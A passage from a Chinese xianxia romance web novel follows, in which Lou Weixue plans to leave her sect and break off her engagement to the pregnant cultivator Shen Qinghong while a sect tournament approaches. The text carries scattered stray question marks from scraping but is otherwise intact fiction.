娄危雪露出一个苦笑,如?果她没有穿越到?这具身体上,如?果她只是一个普通人,就不会背负那么多深仇大恨,血海深仇。 她和沈清鸿会相识在一个普通的午后,她会陪着沈清鸿帮助沈清鸿渡过无情道的劫难,她们的孩子不会被流掉,她还可以坚定地站在沈清鸿的身边,帮着沈清鸿为师傅报仇。 她只是一个小人物,因为意外?穿越到?了这本书,没有让人惊艳的天赋根骨,她原本想要过的不过是撸着灵兽,吃遍美食的普通生?活,可是现?在的一切都与她的想法背道而驰。 这般跌宕起伏的生?活实在是不适合她,娄危雪心底升起一股深深的疲惫之?感。 现?在她只想挣脱身上的束缚,去一个没有人的地方静静地待一会,远离是非,过自己的小日子。 午后的阳光照入屋内,却照不进娄危雪的心。 她在桌子上趴着,目光看向远处没个落点,缥缈虚无。 不知过了多久,趴着的人才有了动?作。 娄危雪有个不成熟的想法,但是这个想法需要一个人的帮忙。 如?果成功,她或许真的可以回到?自己要的生?活中。 这么想着,娄危雪坐起身,几步走?到?书桌前,提笔把自己的需要写下?,又把这张写了东西的纸折成了纸鹤的模样。 一道灵光闪过,纸鹤朝着窗外?飞去,没多久便消失在天际。 深夜,许多人都已经入睡,娄危雪房间的门却突然被人给敲响了。 娄危雪躺在床上辗转反侧并未睡着,听到?敲门的声音感觉有些奇怪,不过还是披了件衣服,下?床将门给打开了。 看清门外?的人是谁时,娄危雪讶异不已。 “寄春,你?怎么来了?” 李寄春面颊边散着几缕碎发,发髻松松垮垮的,额上还有汗水,一脸的焦急。 “还问我怎么来了,你?找我要那种药,我怎么还能放心留在宗门里!” “我……” 娄危雪一时语塞,不知道说些什么,她烦躁地抓了把头发。 “我这也是没有办法了,只能这样。” 说话?间她侧开身体,“先进来吧。” 屋内一片黑暗,娄危雪使了个法术将琉璃灯点亮。 “娄危雪,你?知不知道你?那样做了之?后,现?在拥有的所有一切都会被剥夺。” 璀璨的灯光下?是李寄春严肃的面容,她语气?认真,“你?不是云霄门的少门主,不是沈清鸿的婚约对象,没有现?在的待遇,你?甚至不再是娄危雪,这些你?都能接受吗。” “我知道。”娄危雪露出一个苦笑,“我都明白的,寄春,我只是想过些简单的生?活。” “至于清鸿仙尊……”娄危雪的眼底划过一抹痛楚,心脏传来窒息般的疼痛,“我已经和她说清楚了,也会退婚,她之?后与我就没有关系了。” 李寄春不明白,明明她走?的时候还是好好的,怎么转眼好友就要使用这种糟糕的办法了,更何况清鸿仙尊不是还坏了危雪的孩子吗?她们怎么就到?退婚的地步了。 “到?底发生?了什么事情?” “寄春,能不能不说。” “不能。” 李寄春拒绝得很快,她想要帮娄危雪想想办法,不希望娄危雪用那种方法。 毕竟有求于人,娄危雪叹了口气?,隐去自己是花醉月孩子的事情,把云文君与花醉月的关系,沈清鸿无情道的事和李寄春说了一遍。 李寄春听后沉默良久,然后才开口。 “危雪,你?既然已经与沈清鸿断了关系,可以不用使用这种办法,只要等着事情全部结束就好。” “可是寄春,我累了,只想过普通的生?活。” 娄危雪感觉自己正踩在满是烂泥的沼泽中,头顶是一片茂密的森林,遮挡住日光,她想挣扎,却逐渐下?沉。 沼泽淹没过她的胸口,压迫得她喘不出气?,可她除了下?沉,还是下?沉。 现?在唯一能将她从沼泽中救出来的人,只有李寄春了。 她开口,嗓音很轻,带着无尽的疲惫。 “寄春,帮帮我吧。” 李寄春仔细地打量着自己的好友,娄危雪头发散乱在身后,眼睛底下?是两个浓重的黑眼圈,嘴唇有些干裂,眼神?黯淡无光,没了往日的神?采。 她叹了口气?,“我知道了,我会帮你?的。” 第44章 听到李寄春应下,娄危雪松了口?气,不过在她离开之前,还有?个事情?需要解决。 “寄春,我们从合欢宗离开的时?候,花宗主给清鸿仙尊喂了散灵丸,需要一年解一次,否则便?会修为?尽丧,你有?办法吗?” 李寄春微微摇头?,合欢宗占据灵山,手中拥有?的稀奇古怪的东西太多了。 “我从未听说过这种药,不过如果你能够弄来?散灵丸,或者中药之人的血,我或许可以试着?解一下。” 可惜娄危雪既没有?散灵丸,也没办法弄到沈清鸿的血。 “我知道了,我会想办法的。” 天色太晚,商量完毕之后,娄危雪把李寄春带去了客房,让她暂时?住下。 由于仙门大比临近,李寄春没有?离开,她准备在这里留到仙门大比结束,助娄危雪完成?计划。 第二天一早娄危雪就去找了玲溪,玲溪是合欢宗的人说不定会有?关于散灵丸的线索。 她问道:“玲溪,花宗主给清鸿仙尊喂了散灵丸,你手里有?这种药吗?” 可惜的是玲溪在合欢宗的地位并不高,注定让娄危雪失望。 她摇了摇头?,“我没有?,不过少门主,我会帮你想办法的。” “有?劳了。” 娄危雪并没有?把希望寄托在玲溪身上,现在玲溪身在云霄门,能够帮忙的地方有?限。 这么看来?只能等仙门大比的时?候清鸿仙尊过来?,让寄春亲自去与清鸿?*?仙尊商量了。 之后的几日,全宗门的人都忙碌起来?,娄青涯在忙着?筹备仙门大比的事情?,鲜少出现,倒是娄危雪这个少门主清闲的紧。 不知道是不是娄青涯对她不放心,并没有?给她分配任何任务,只叫娄危雪在宗门好好呆着?。 闲下来?之后,时?间就长了许多,她常坐在院中的石椅上撑着?下巴望着?远方出神,往往感觉时?间已经过了很久,可实际上也不过是树叶从树梢落下到落地的过程。 宗门上下目之所见?是忙碌的弟子,似乎所有?的人都在奔涌的长河中向前走?去,只有?她被留在原地。 她漫无目的的在宗门闲逛,等再回过神的时?候,人已经到了云水苑,这里是沈清鸿曾经居住过的院落。 不过是几个月的时?间,现在回忆起来?却仿佛过了许久一般。 娄危雪站在厢房门口?,定定的望着?里面,沈清鸿的身影逐渐浮现在她的眼前。 白衣仙尊坐在窗户边,背脊挺的笔直,似乎是听到了窗外的动静,她转首露出清冷的面容,眉眼带笑。 娄危雪像是着?魔一般,抬起脚不自觉的朝着?窗边靠近。 她伸出手,在即将触碰到那人的时?候,忽然扑腾腾地,一只仙鹤在窗边停下,再一看屋中哪里有?人在。 娄危雪看着?空荡荡的手,心底漫起苦涩的味道。 仙鹤歪头?看着?面前的人,感觉无比奇怪。 娄危雪认出,这是之前半夜被她踩醒的鹤,那个时?候她还可以毫无负担的叫嚣着?要与清鸿仙尊退婚,现在却不同了。 只要想到之后两?个人毫无关系,娄危雪朝心如刀绞。 鼻端涌上一股酸意,她吸吸鼻子,看着?面前的仙鹤。 “鹤兄,我好想她啊。” 人与鹤的悲喜并不相通,仙鹤不明所以,扑腾的翅膀飞走?了,湛蓝的天空下,鹤唳云端。 同一片天空下,李寻真亲自端着?个放了药碗的托盘走?去沈清鸿的住所。 这是他与药房长老商量出来?的药,可以帮助沈清鸿稳定身体的情?况,同时?不伤害腹中胎儿,每天都要喝两?碗。 李寻真到的时?候,沈清鸿正撑着?下巴望着?窗外,不知道在想些什么,连他进来?都没有?发?现。 他眼神闪过一抹担忧,走?到沈清鸿面前,将药碗端出。 “清鸿,该吃药了。” 沈清鸿回过神来?,端起药碗一饮而尽,苦涩的药味在沈清鸿口?中蔓延,她面色不改,不见?一丝端倪。 李寻真照例放出灵力查探沈清鸿的情?况,体内的灵力依旧有?些乱,境界也从化神期跌落到出窍后期,除非孩子被流掉,或者生出来?,否则沈清鸿的修为?不会随便?恢复。 沈清鸿现在的情?况实在说不上好,李寻真忧愁无比。 “怎的吃了这么多天的药,依旧不见?好。” 他明明每次都亲眼见?着?沈清鸿把药喝下去的,而且这药还是特地根据沈清鸿的身体调配的。 想到不久后的仙门大比,李寻真更不放心了。 虽说大比上讲究点到即止,可到底要动武,难免会有?意外出现。 “清鸿,这次仙门大比,你要不就不要……” 沈清鸿瞬间明白李寻真想要说什么,她立刻打断李寻真的话。 “师叔,你知道的,这次的仙门大比对我来说很重要,我必须参加。” 李寻真当然知道,这是沈清鸿为?师傅报仇的机会,是他们筹谋了许久的事情?。 “可是你的身体……” 沈清鸿坚持,“师叔,我可以的。” 这是李寻真亲眼看着?长大的孩子,到底是心疼的,还想要劝说,可是当他望到沈清鸿的眼神时?,原本拒绝的话被咽下去。 那眼神太过空洞渺茫,只燃烧着?一点亮光,李寻真很怕他拒绝之后,沈清鸿会做出极端的事情?。 他无奈,只得道:“我知道了,你先好好调养吧,只有?养好身体,才?能参加仙门大比。” “我知道的。” 李寻真身上的事情?一点都不比主持仙门大比的娄青涯少,在叮嘱沈清鸿几句之后,他便?离开了。 他不知道的是,在他离开后不久,沈清鸿眉头?微皱,腹中翻涌,刚刚喝下不久的药液被吐出。 这几日她孕吐的厉害,李寻真送来?的药大多数时?候都被她吐出来?了,这也是为?什么吃了这么些天的药,她身体状况依旧没有?好转的部分原因。 沈清鸿习以为?常的将吐出的药液用法诀清除,回到软塌上闭目打坐修炼。 师叔说的对,只有?养好身体,她才?能在仙门大比上达成?自己的目的。 淡淡的灵力在沈清鸿周围泛起,可是打坐之人眼睫忽闪,内心波澜起伏,根本平静不下来?。 娄危雪的面容总是不自觉的浮现在沈清鸿的脑海,压不下,绕不开。 她就出现在那里,鲜明的昭示着?她的存在感。 沈清鸿记得与娄危雪相遇后的所有?事情?,记得少女的花,记得少女的笑,也记得那郑重的承诺和认真的告白。 明明是那样?温暖一个人,但是绝情?起来?,说出的话竟是那般冰冷。 为?什么要留下那样?的话?为?什么要彻底与她断开关系?为?什么说宁愿从未相见?? 沈清鸿无声的质问着?,幻影给不了她任何答复,只是望着?沈清鸿笑,一如最开始时?沈清鸿遇见?娄危雪时?的模样?。 越是这样?,现实便?越显得残酷。 周遭的灵力波动越来?越大,灵力隐隐有?失控的迹象,幻影中少女的面容在沈清鸿面前碎成?两?半。 沈清鸿猛地睁开眼睛,原本漆黑净透的眼中,竟透着?隐隐的红色。 她心中无端升起一股暴戾,想要将所有?碍眼的东西毁灭殆尽。 暴走?的灵力在沈清鸿的手上聚集,均湘剑发?出阵阵嗡鸣,屋中所有?东西受到影响,颤动不止。 砰—— 屋内的桌子倒下,连带着?乒乒乓乓的砸了不少东西。 巨大的动静让沈清鸿的脑子清醒一些,她立刻意识到自己的状态不对劲。 沈清鸿立刻收敛灵气,运气调理,压下身体中的躁动。 她睁开双眼,瞳孔重新恢复成?本来?的颜色。 屋内一片狼藉,沈清鸿指尖微动想要用法术把凌乱的东西归于原位,胃部却一阵翻涌。 施法被打断,她弯腰捂着?胸口?干呕连连,眼角因为?干呕挂上泪水,没多会就泛起红意。 直到好一会,沈清鸿才?停止干呕,站直身体。 这番折腾下来?,沈清鸿身体发?冷,疲惫的厉害,她想休息,但是闭上眼脑中出现的又都是娄危雪的身影。 她还要为?师尊报仇,这般状况不利于她调节身体。 无奈沈清鸿从软塌上起身,离开房间朝山下走?去,试图借此调节好自己的情?绪。 四周无人,只有?挺拔的树木,入眼皆是绿色,勉强让沈清鸿翻涌的情?绪平复几分。 不过这个状况没有?持续太久,施梦迎面向着?沈清鸿走?来?。 见?到沈清鸿,她的眼底快速划过一抹暗色。 “这不是大师姐吗?” 沈清鸿冷冷看了施梦一眼,没有?心情?搭理,她绕开施梦准备离开,被施梦给拦下。 修炼之人对境界的敏锐度太高,施梦察觉出沈清鸿跌落的境界,心里幸灾乐祸。 真是想不到啊,天一宗被人捧着?的天之娇女会有?这么一天。 她掩唇故作讶异,“师姐这是怎么了,短短几天境界跌的这般厉害,不会再过几日,连法力都使不出来?了吧。” 沈清鸿眉头?不着?痕迹的皱起,她身体不舒服,实在不想把精力浪费在这种人身上。 “滚开。” 她嗓音冰冷,如同冬日的井水。 这话说的毫不客气,施梦放下掩唇的手,脸色一点点的沉了下来?。 “师姐,既然身体不好,就不要逞能,霸占不属于你的位置,否则到时?候连怎么死的都不知道。” 这明显是话里有?话。 沈清鸿寒着?脸,清冷如月的眼眸中闪烁着?冰冷的亮光,不悦的气息毫不掩饰的扩散着?。 “你想说什么?” 施梦眼中充满了傲慢,直直迎上沈清鸿的眼神,毫不畏惧。 “仙门大比,师姐该让位置了。” 沈清鸿轻浅笑开,眸子里却是一片冰寒。 “就凭你也敢取代?我的位置?” 这话无端的嘲讽,施梦沉下脸。 “能不能,只有?试了才?知道。” 话语落下,她竟直接朝着?沈清鸿动了手。 沈清鸿冷哼一声,抬手格挡开施梦攻击过来?的手。 两?人你来?我往的打了起来?,沈清鸿是剑修,又常常出宗历练,施梦一个眼高于顶的人哪里会是她的对手。 不过数十回合,施梦就逐渐落入下风。 她咬牙不甘,抽出佩剑袭向沈清鸿,招招向着?沈清鸿的要害处攻去,一点没顾忌同门之间的情?意。 剑刃擦着?沈清鸿的脖颈划过,沈清鸿微微眯着?幽幽的双眼,眼底寒意更甚,出手不再留情?。 均湘剑安分的在她的腰间挂着?,没有?半分异动。 施梦自尊心受创,眼中闪过一抹冷酷的杀意,连师姐也不叫了。 “沈清鸿,你不出剑?” “你还不配。” 话语落下,沈清鸿一道掌风击出,将施梦逼退好几步。 无形的压力笼罩着?施梦的周身,施梦咬牙抵抗着?。 体内的内丹运转到极致,汹涌澎湃的灵力毫不保留的被注入剑中,剑光熠熠闪着?寒芒。 沈清鸿不躲不避,飞身迎上,她速度快的只有?残影。 错身的瞬间,施梦手中的长剑被击飞,她本人被波及,面色苍白后退好几步,剑落在她的脚边。 沈清鸿还是那副白袍一尘不染的模样?,她侧目睨着?施梦。 “现在,你可以滚了。” 施梦满眼不甘,深邃的黑色眼眸里散发?出吞噬般的森寒之气。 当初娄危雪抱着?吐血昏迷的沈清鸿去找李寻真,不少人都看见?了,就算李寻真有?意压下消息,都没有?用。 别以为?她不知道,沈清鸿修炼的无情?道出了问题,她现在是打不过沈清鸿,但她会等。 “沈清鸿,你以为?你能嚣张的了几时?,等你修为?尽散,我看你还能不能保住你现在的位置。” 撂下这句狠话后,施梦狼狈的捡起脚边佩剑,转身离去。 屡次受挫,叫施梦心情?很是不好,也没了耐心。 原本她还想等着?找时?间再次试探一下李寻真,让李寻真将沈清鸿换下来?,不过看样?子是不可能了。 既然如此,那可不能怪她了。 想到之前收到的信件,施梦觉得,是时?候给那人答复了。 回到房间,施梦提笔写下几行字。 未过多久,一道金光符咒从施梦房间飞出,很快消失不见?。 时?间如水流逝,距离仙门大比还剩三天。 李寻真有?事情?要同娄青涯商议,带着?参赛的弟子提前到了云霄门。 云霄门为?了仙门大比准备了许多,在天一宗到的第一时?间,大师兄秦少阳便?带人安排好了所有?事情?。 当听说李寻真有?事情?要与娄青涯商议,他立刻让人通知了娄青涯。 议事厅中,两?人互相寒暄一番后,李寻真才?提到正事。 “娄宗主,我此次过来?是为?了与你商议清鸿和娄危雪的婚事的。” “原来?如此。” 娄青涯微微一笑,他原本打算的就是借着?仙门大比这个盛会,向仙门众人宣布娄危雪同沈清鸿的婚事,李寻真为?了这个事情?提前过来?倒也正常。 对此,他早就做了准备。 “李掌门你放心,我已经事先让人都安排好了,这次仙门大比,我会向众人宣布她们的婚期。” 闻言,李寻真面露怪异。 “娄宗主,你误会了,我这次过来?是为?了退婚。” 娄青涯面上笑容顿时?僵住了,他收敛了嘴角,皱起眉来?。 “李掌门,之前我们不是已经商量好了吗?怎么突然又要退婚,这其中是否有?什么误会?” 他记得当初沈清鸿同娄危雪离宗的时?候还是好好的,怎么转眼间就变了,这中间到底发?生了什么? 李寻真摇头?,“没有?误会,只不过我们家清鸿修的是无情?道,我仔细的想过了,让她成?婚终究是不太合适。” 沈清鸿的身体状况不好,道心不稳,如果这个时?候依旧让她同娄危雪成?婚,无疑是把她朝着?火坑里推。 更何况,清鸿与娄危雪之前还横亘着?一个云文君。 娄青涯眼神暗下,天一宗是仙门之首,沈清鸿又是年轻一辈中的翘楚,九寒与她成?婚,对云霄门只有?益处。 为?了宗门,娄青涯不愿退婚。 “李掌门,清鸿虽然修的是无情?道,但是大道千变万化,根据流传下来?的记载,无情?道成?婚的她并不是第一人。” “可是无情?道成?婚,最后活下来?的人并没多少。” 李寻真一句话给娄青涯堵了回去。 之前没有?退婚是为?了借着?婚约调查云文君,现在为?了沈清鸿的身体考虑,婚事必须要退。 娄青涯微微眯起眼睛,看来?李寻真是打定主意要退婚了。 这可不行,他得想办法拖上一拖。 还有?几天就是仙门大比,到时?候他在众仙门面前宣布婚事,就算是李寻真也没办法阻止。 他故意冷脸,“这婚事是两?家的事情?,你天一宗说退就退,是不是太不把我云霄门放在眼中了。” 李寻真还笑着?,一副好脾气的模样?,但说出的话不见?分毫退让。 “我知道突然退婚有?些不妥,不过这一切都是为?了清鸿考虑,如果娄宗主非要逼着?我们清鸿成?婚,我们天一宗也不是能随便?任人欺负的。” 娄青涯的目的是为?了拖延时?间,可不是想要与天一宗为?敌。 他话锋一转,“我没有?别的意思,只不过这是孩子们的婚事,我总得考虑九寒的意见?,你说是不是啊,李掌门?” 之前得知要与沈清鸿成?婚的时?候,九寒是闹过一段时?间,不过很快便?接受了。 这次他不知道天一宗究竟是因为?什么要退婚,但是他会想办法安抚好九寒那边的。 娄青涯心里的算盘打的噼啪响,可却没料到娄危雪就在门外刚好听到对话。 听说要征询她的意见?,娄危雪直接走?入门内。 “我答应退婚。” 娄青涯被突然杀出来?的娄危雪弄的措手不及,他面上表情?微僵。 “胡闹,长辈们谈话,哪有?你插嘴的份!” 娄青涯面有?愠色,似乎正强忍着?心中的怒火。 娄危雪装作没看出娄青涯的脸色,“爹你刚刚不是说要问我的意见?吗?我的意见?就是退婚。” 她没有?忘记自己的真实身份,这样?的她还是离开清鸿仙尊最好,而且她很快就要离开云霄门了。 不管是出于哪种考虑,同沈清鸿退婚是当下最合适的选择。 李寻真看着?娄危雪,眼底情?绪复杂。 如果娄危雪不是云文君的孩子,或许也不会与清鸿走?到今天这个局面。 不过事实已经摆在眼前,现在想什么都没用。 他看向娄青涯,“娄掌门,娄危雪她已经同意了,我想这门婚事该结束了。” 娄青涯面色铁青,“危雪是答应了,可是李掌门,我还没听过清鸿的意见?。” 李寻真冷了脸,“之前你说要听危雪意见?的,危雪已经说了,现在你又要听清鸿说,娄宗主,你莫不是在为?难我吧。” “这如何能叫为?难,我总要知道清鸿是自愿退亲的才?行。” 娄危雪闻言露出一抹苦笑,“清鸿仙尊她会答应的。” 娄青涯好不容易稳定下来?的面色,差点又黑下去。 生怕娄危雪再次说出不利于他的话,娄青涯望向娄危雪,低呵道:“出去,这里没有?你说话的份。” 索性已经把自己的想法说了出来?,娄危雪没有?逗留,转身离开。 她朝自己的住所走?去,不过远远的便?看见?一道穿着?白袍的身影。 不是沈清鸿,又是谁。 多日不见?,沈清鸿的气色比她当初在天一宗时?看起来?好了一些,不过依旧说不上好。 往日合适的衣服穿在她的身上,大了许多,整个人形销骨立。 娄危雪的心叫嚣着?疼痛与思念,已经迫不及待的飞了过去,她想过去将那人抱住,搂入怀中,问她为?什么不照顾好身体,为?什么瘦了那么多。 可是理智又在让她离开。 不行啊,清鸿仙尊道心不稳,她不能过去。 忍住啊娄危雪,万万不可在这个时?候出现刺激清鸿仙尊。 废了好大的力气,娄危雪才?用理智拉回不受控制的心。 迈出去的腿被娄危雪收回,她调转方向准备在沈清鸿没发?现她之前离开。 可是这时?,站在远处的那个人动了。 沈清鸿在见?到娄危雪准备离开的瞬间黑了脸,这个人在躲着?她,她不允许。 既然过来?了,她就要和娄危雪问个清楚。 沈清鸿朝着?娄危雪的所在处飞来?,堵在她的面前。 “站住,我怀了你的孩子,你还想跑去哪里?” 第45章 娄危雪微微怔愣,意识到沈清鸿话中的意思之后,有些?惊喜,又?有些?无?措。 “你怎么没把孩子流掉。” 沈清鸿面色沉下,她眉头紧皱,语气里透漏了一丝烦躁。 “你就这么想我流掉孩子?” 娄危雪眉凝纠结,她私心是想要沈清鸿留下孩子的,可是她的身份并不允许她这么做。 而且怀着孩子,对清鸿仙尊的身体?也不好?。 更何况…… “我们的婚约之后就会取消,流掉孩子对你比较好?。” 她不知道娄青涯和李寻真商议的怎么样了,但退婚是必然的事情。 如果沈清鸿将孩子生下来,她们二人又?不能在一起,还不知道外人会用什么样的目光看待清鸿仙尊。 沈清鸿不知娄危雪心中所想,只当娄危雪不想要孩子。 紧扣的手指已经青筋暴起,清冷如月的眼眸中闪烁着冰冷的寒芒。 想到娄危雪留下的信件,沈清鸿心口一痛,灵力隐约开始波动起来,被她强行压下。 “当初说不要退婚的是你,说把婚约取消的也是你,娄危雪你到底是什么意思?难道之前那些?日子你同?我说的话都是在骗我吗?” “我……” 娄危雪眼中情绪复杂,不知道该如何回答。 她之前说的每一句话都是出自真心,从未欺骗过沈清鸿,最开始的时?候她害怕被走剧情,怕被沈清鸿杀死,但还是一步步沦陷。 原以为克服了对死亡的恐惧,她就能和沈清鸿走下去,可谁料中间杀出个花醉月。 有一瞬间娄危雪甚至想冲动的把自己的真实身世告诉沈清鸿,但话到嘴边又?被咽了下去。 清鸿仙尊道心不稳,不能在这个时?候刺激她。 娄危雪紧抿着唇,一言不发。 沉默的死寂在两人周遭蔓延,唯余风声萧瑟。 娄危雪沉默的样子,把沈清鸿气的面色发白,一道红光自她的眼底闪过,她咽下翻涌上来的鲜血,自嘲一笑。 原以为是昏迷的时?候师叔说了什么,才叫娄危雪留下那封绝情的信件,现在看来是她多想了。 “我明白了。” 此次过来除了参见仙门大比,就是为了弄清楚娄危雪选择离开的原因。 现在问过了,看着娄危雪的态度,她也该把这段感情给了断了。 沈清鸿挥袖转身,宽大的白袍在空中滑出一道冰冷的弧度。 娄危雪手指微抬,挽留的话在她的唇边蠢蠢欲动,又?被她给压下,只能看着那道白色的身影渐渐远去。 心好?像空了一块,沈清鸿的离去仿佛将她的心都给带走了。 天?空不知道什么时?候阴了下来,细细的雨丝从空中飘下,落在娄危雪的眼睫心上,越积越多,在黯淡的天?光下,泛着淡淡水光。 雨水带来的冰冷寒意侵蚀着娄危雪的身体?,她一动不动站在原地,望着沈清鸿离开的方向。 水雾层层,缥缈弥漫,挡在她与沈清鸿之间。 娄危雪孤零零的站在雨中,她没有撑伞,只是望着远处,眼神没个焦点?。 整个人看起来潮湿无?比,仿佛随时?都能从身体?中拧出一把水来。 当李寄春过来的时?候,看到就是这么一幕。 她忙的走过去,撑伞遮住细雨,有些?担忧。 “危雪,你站在这里干什么?下雨了怎么也不知道躲?” 娄危雪没有回答,目光依旧落在远处。 李寄春顺着娄危雪的视线望去,只能看到雨幕下的蜿蜒山道。 她微皱眉头,“你在看什么?” 当白袍的最后一角消失不见,娄危雪收回视线。 “没什么。”她动了动发僵的手指,“寄春,清鸿仙尊来了,她中的散灵丸,就要拜托你了。” 云文君闭关的地方守备森严,她根本?不可能将云文君带去合欢宗与花醉月换解药,如今能够依靠的只有寄春了。 李寄春喜欢研究各种奇怪药物的解药,这对她是挑战,也是帮她增进?修为的途径。 娄危雪的请求,对她来说不算什么。 她道:“等?会雨停了我就去找清鸿仙尊。” 娄危雪露出一抹苦笑,“不要告诉她,是我叫你去的。” 想到娄危雪同?沈清鸿之间的复杂关系,李寄春叹了口气。 “我知道了。” 如果不是有这么一个好?友在,娄危雪都不知道该怎么办。 她由衷的说道:“寄春,谢谢你。” 李寄春被突然的道谢弄的有些不好意思,“咱们两这关系,有什么好?说谢的。” 娄危雪摇了摇头,该谢还是要谢的,不能因为两人的关系好,就忽略了对方的帮助。 两人从此处离开,娄危雪回到自己的房间,陷入新一轮的思绪中。 按照原本?的计划,她是准备仙门大比之后消失离开的,可是清鸿仙尊怀着孩子,让娄危雪有些?放心不下,看来计划的事情要等?等?看了。 这场雨并没有下多久,雨停后李寄春问道天一宗人居住的地方找到沈清鸿,查探完沈清鸿的身体情况之后,又?立刻过来找了娄危雪。 “危雪,我已经见过清鸿仙尊了,她的情况不是很好?,加上腹中还有孩子,需要慢慢的调理。” 娄危雪眉头皱起,天?一宗的人是怎么回事,就把人养成?那个样子? 按道理来说,没了她这个扰乱沈清鸿道心的人,沈清鸿的身体?情况该稳定才对。 怎么这么些?天?过去,一点?好?转都没有。 想了想,她拜托道:“寄春,要辛苦你想办法帮清鸿仙尊调理身体?了,如果有什么需要的药材尽管和我说。” “好?。”李寄春应下。 如水的珍惜药材,上好?灵药在娄危雪的授意下开始送往沈清鸿的厢房。 沈清鸿送了许多东西过来的李寄春,不知道她是什么意思。 “这些?是怎么回事?” 李寄春记着娄危雪的交待,隐去了娄危雪的请求。 “清鸿仙尊你身体?不好?,这是我要来给你补身体?的。” 沈清鸿走过去看了一眼送来的这些?东西,里面有不少?药材都十?分珍惜,并不是可以随意获得的。 这里是云霄门,李寄春就算同?娄危雪关系再好?,也不可能拿到的这么多。 沈清鸿顿时?明白过来,“是娄危雪叫你把这些?送过来的。” 李寄春微微怔愣,随后心虚般的立刻反驳。 “不是。” 尽管李寄春反驳的很快,沈清鸿依旧从她刚刚怔愣的瞬间察觉出端倪。 该问的话她已经问过娄危雪了,既然娄危雪要与她断清关系,还送这些?东西过来干什么。 沈清鸿面色冷然,拒绝道:“拿回去吧,我同?她已没关系,也不需要这些?。 李寄春有些?为难,“可是清鸿仙尊,你现在身体?不好?,正需要这些?来补身体?,不如还是留下吧。” “天?一宗来的时?候有带药材过来,我不用她的这些?。” 话已经说到这个份上,李寄春没办法叹了口气,只能把带来的东西收回。 看着被送回来的药材,娄危雪隐约猜到了一些?。 果然下一瞬就听李寄春说道:“清鸿仙尊猜到了,她不肯收。” 娄危雪沉默几秒,没有强求。 “我知道了。” 又?过了一天?,云霄门来了一大批的仙门人士,除了距离太远的门派还没到之外,基本?上所有要参加仙门大比的宗门都来了。 云霄门的人多了起来,娄危雪行走在山道上,不远处有一处凉亭,几个身着红色宗门服的人正坐在凉亭中。 娄危雪认出了那些?人的门派,是离火门的人。 她们坐在亭子中,有一搭没一搭的闲聊着。 一个圆脸修士撑着下巴,“这次真是来了好?多人,我本?以为我们到的已经够早了,谁知道前面竟然有那么多的人。” 在她对面的是一个头发半束的女子,闻言说道:“听说这次第一个到的门派,是天?一宗。” 圆脸修士眼睛一亮,“那岂不是说清鸿仙尊已经来了。” 她说着还用胳膊撞了撞身边坐着的另一个女子,“小泉,你不是最崇拜清鸿仙尊了吗?这可是与清鸿仙尊拉近关系的好?机会啊!” 被叫小泉的女子脸色突然红了,“清鸿仙尊那样的神仙人物,哪里是我可以随便?结交的。” “不要自怨自艾嘛,咱们家小泉也不差啊。” 两人这边聊着,她们对面坐着的头发半束的女子抬手指了一个地方。 “你们看,那是不是清鸿仙尊。” 娄危雪闻言心头微动,顺着那人指的方向看过去,只见沈清鸿白衣翩翩,正在一处开阔的平台上练剑。 小泉同?样认出沈清鸿,眼睛微微发亮。 “是清鸿仙尊。” “快,走走走。”圆脸修士立刻激动的站起来,同?时?还不忘拉上小泉,“我们过去看看。” 小泉有些?迟疑,“清鸿仙尊在练剑,我们还是不要去打?扰了吧。” “别怕,我们只是去看看,不会打?扰她的,况且你不想与清鸿仙尊说话吗?” 另一个人适时?开口,“去看看吧。” 小泉本?就崇拜沈清鸿,在身边两位同?门的怂恿下,终究是答应了。 三?人离开休息的亭子,朝着沈清鸿的方向走去。 娄危雪有些?在意,她想要跟着过去,但又?不知道该如何面对沈清鸿。 几番犹豫下,娄危雪走入之前三?人待着的亭子中,远远的看着。 等?那三?人到的时?候,沈清鸿已经停下练剑了。 娄危雪看着三?人走向沈清鸿,由于离得距离并不算近,娄危雪听不清她们在说什么。 只见那个圆脸修士,推了下磨磨蹭蹭站在后面那个叫小泉的女子,小泉被推的脚步踉跄,向着沈清鸿跌去。 沈清鸿忙抬手将人给扶住,两人的距离因此被拉近几分。 娄危雪盯着沈清鸿扶着小泉的手,心里有些?不是滋味,一股醋意油然而生。 她想要冲上去将沈清鸿给拉开宣誓主权,可是她不能。 一抹苦笑在娄危雪唇边泛起,她同?沈清鸿已经断了关系,现在过去算是个什么事。 或许等?之后,清鸿仙尊会忘记她,然后身边出现另外一人。 想到这个可能,娄危雪顿时?心如刀绞。 不知道是不是她的目光太过灼热,远处的沈清鸿察觉到了什么,望向娄危雪,两人的目光有过短暂的交汇,不过很快沈清鸿就又?收回视线,像是什么都没发生。 这一如陌生人的反应,叫娄危雪心口微滞。 她抓着亭子栏杆的手指渐渐收紧,指尖因为用力而泛着淡淡的白色。 是了,清鸿仙尊已经与她什么关系都没有了。 玲溪不知道什么时?候走了过来,顺着娄危雪看着的方向望过去,瞬间明白娄危雪为什么会是这种反应。 当初她被娄危雪从天?一宗带走的时?候,就知道了娄危雪的决定。 她眉心微皱,“少?门主,你为什么一定要这么做,难道就没有别的办法了吗?” 如果不是没有办法,娄危雪怎么会甘心放弃沈清鸿,只是她实在是想不到既能够保住沈清鸿又?能在一起的方法。 娄危雪思绪万千,交杂在一起,捋不出一条她能够和沈清鸿走的路。 她无?奈又?挫败,“玲溪,我想不到。” 若是能想到,她怎么会叫沈清鸿走到这般田地。 远处那几个离火门的人在两人说话间已经离开了,只有沈清鸿还站在原地。 风将她的白衣吹起,露出纤细的腰线,身姿挺拔,长身玉立。 明明目之所见,却触不可及。 娄危雪将视线收回,不知道是说给玲溪还说说给自己。 “我这般无?用,总是拖累清鸿仙尊,没了我在她身边,她会轻松很多,现在我要做的就是放手。” 只要走过这段时?间的伤痛,沈清鸿会慢慢好?起来的。 玲溪见不得娄危雪这么说,在她心中娄危雪虽然不是根骨好?的天?才,但是为人热情,待人真诚。 她认真道:“少?门主,你也很好?,如若不然,清鸿仙尊怎么会选择你。” “是她看错了人,我非良人。” “不过现在好?了,之后少?了我这个累赘束缚她,她会越变越好?的。” 娄危雪故作轻松,扬起一抹笑容。 玲溪眼神微漾,“少?门主你不必这般强颜欢笑的。” 娄危雪嘴硬,“怎么会呢,我这是在为清鸿仙尊高兴。” “可是……” 你明明就要哭了啊。 玲溪叹了口气,没再多说。 听?*?到叹气声,娄危雪扭过头来,就看到玲溪苦着个脸,满面忧愁。 知道玲溪是在担忧她,娄危雪心尖微暖,连带着想起玲溪与合欢宗还有花厌的牵扯。 